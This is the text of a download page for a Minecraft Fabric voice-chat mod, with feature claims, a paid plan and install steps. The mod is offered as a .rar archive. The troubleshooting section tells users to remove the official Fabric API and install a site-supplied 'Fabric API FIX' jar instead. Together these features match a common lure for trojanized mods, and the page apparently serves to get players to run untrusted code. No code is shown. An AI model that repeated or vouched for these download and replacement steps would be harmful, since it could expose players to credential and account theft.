Chat Sync Mod

Voice and chat, synced for Minecraft servers

Keep your squad in sync with crisp proximity voice chat. Built for Minecraft 1.21.11 with Fabric Loader — simple setup, stable sessions.

High quality audio with Opus codec
Minimal impact on FPS and performance
Simple and intuitive configuration
Support for multiplayer servers

Minecraft 1.21.11 • Fabric Loader • Requires Fabric API

Fabric API

Download the mod and access the official Fabric website to download the Fabric API

Players using Chat Sync Mod for synced voice chat

Proximity voice, perfectly synced

Audio follows distance like in the real world — nearby players hear you clearly, far ones fade out. It feels natural, keeps chat in sync with the action, and suits survival and SMP worlds.

Speaking...

Tutorial video

Full demo of Chat Sync Mod: real-time voice, clean UI, and how proximity keeps everyone audibly in sync — only nearby players hear each other, so bases and caves feel alive without global spam.

About Chat Sync Mod

Installation

Download the Fabric API and Chat Sync Mod. If the mod is a .rar archive, extract it first, then put the Fabric API .jar and the Chat Sync Mod .jar in your Minecraft mods folder, launch the game, and you're synced.

High Quality Audio

Opus codec for real-time audio transmission with crystal clear quality.

Performance

Minimal impact on FPS. Optimized processing.

Multiplayer

Support for dedicated servers and LAN. Proximity system.

Security

End-to-end encrypted audio. Direct communication between players.

Updates

Regular updates with improvements and fixes.

Plans

Free

Minecraft 1.21.11 • Fabric

  • Full mod
  • Basic voice chat
  • Community support

ChatSyncMod-1.0-SNAPSHOT.rar

Recommended

Premium

$20/month

Minecraft 1.21.11 • Fabric

  • Full mod
  • Advanced voice chat
  • Priority support
  • Early access to updates
  • Exclusive features

Access via dashboard

Troubleshooting

If Chat Sync Mod misbehaves after install, it is often a Fabric API mismatch. Use Fabric API FIX below to clear common conflicts and get voice chat syncing again.

Common Problems

  • The mod does not load when starting Minecraft
  • Errors related to Fabric API in the console
  • The game crashes unexpectedly
  • Error messages about missing dependencies
  • The voicechat does not appear in the game

Solution: Fabric API FIX

Fabric API FIX is a tuned build that irons out typical dependency clashes. It is validated alongside Chat Sync Mod so installs stay stable and voice stays in sync.

Corrected and tested version
Tuned for Chat Sync Mod
Resolves dependency conflicts
Simple and quick installation

How to Install:

  1. Remove the old Fabric API from the mods folder (if any)
  2. Download the Fabric API FIX using the button below
  3. Copy the .jar file to the Minecraft mods folder
  4. Keep Chat Sync Mod in the mods folder alongside the fix
  5. Restart Minecraft and test the mod

Version: 0.116.7+1.21.11 FIX • Compatible with Minecraft 1.21.11